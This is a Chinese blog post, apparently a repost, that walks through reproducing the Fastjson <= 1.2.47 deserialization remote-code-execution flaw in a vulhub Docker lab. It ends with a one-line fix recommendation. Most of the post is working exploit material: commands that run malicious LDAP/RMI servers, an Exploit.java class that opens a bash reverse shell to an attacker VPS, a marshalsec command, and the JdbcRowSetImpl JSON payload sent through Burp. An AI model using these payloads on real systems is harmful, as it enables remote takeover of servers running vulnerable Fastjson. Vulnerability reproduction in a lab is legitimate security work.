欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

[漏洞复制] Fastjson 0x01 漏洞概述 漏洞描述 Fastjson 是一个开源 JSON 解析库,可解析 JSON 格式的字符串,并支持将 Java Bean 序列化为 JSON 字符串,以及将 JSON 字符串反序列化为 Java Bean。 当应用程序或系统使用 Fastjson 解析用户可控制的 JSON 字符串数据时,Fastjson 存在远程代码执行漏洞,可能导致远程代码执行危险。 该漏洞是 17 年前 Fastjson 1.2.24 版本反序列化漏洞的扩展,不需要依赖于

最编程 2024-07-14 16:32:25
...

0x01 漏洞概述

漏洞描述

Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
Fastjson存在远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。
此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

影响版本

Fastjson <= 1.2.47

0x02 环境准备
直接使用vulhub中的docker环境进行部署
cd /vulhub/fastjson/1.2.47-rce
docker-compose up -d
部署好后访问http://ip:8090,访问显示如下即搭建成功

0x03 测试及利用方法

测试方法

方法一:使用工具FastjsonScanner(内置多个payload)

工具下载地址:前往土司下载
如下图所示,填写待测试目标url、dnslog地址、请求包,点击scan
结束后,对比scan result和dnslog记录。Dnslog中有test6记录,说明存在漏洞,序号为6的payload可用。

方法二:使用工具fastjson_rce_tool.jar

工具下载地址:https://github.com/wyzxxz/fastjson_rce_tool

公网启动LDAP或者RMI服务

Usage:
RMI: java -cp fastjson_tool.jar fastjson.HRMIServer your_vps_ip 80 "curl  xx.dnslog.cn"
LDAP: java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl  xx.dnslog.cn"
关于command列的使用参考下图:
LDAP如下:
VPS中开启LDAP服务,并预执行命令curl xxx.dnslog.cn
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl xx.dnslog.cn"
将payload复制到body中并发送
VPS中显示有连接信息并发送完命令
Dnslog查看到记录,说明命令执行成功

利用方法

方法一:使用fastjson_rce_tool.jar

开启LDAP服务监听,并设置预执行命令(反弹shell)
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "bash=/bin/bash -i  >& /dev/tcp/your_vps_ip/4444 0>&1"
Burp发送exp
成功反弹shell
备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

方法二:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java代码如下(反弹shell)
public class Exploit{
    public Exploit() {}
 
 
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
 
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}
javac将Exploit.java编译为Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)
Python开启web服务器,将exploit.class放在根目录
marshalsec-0.0.3-SNAPSHOT-all.jar开启LDAP并转发至web服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://your_vps_ip/#Exploit 9999
Burp发送exp
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:9999/Exploit","autoCommit":true}}
成功反弹shell
备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

0x04 修复建议
使用最新版fastjson,https://github.com/alibaba/fastjson

原文地址:https://www.cnblogs.com/0nth3way/p/13132195.html

推荐阅读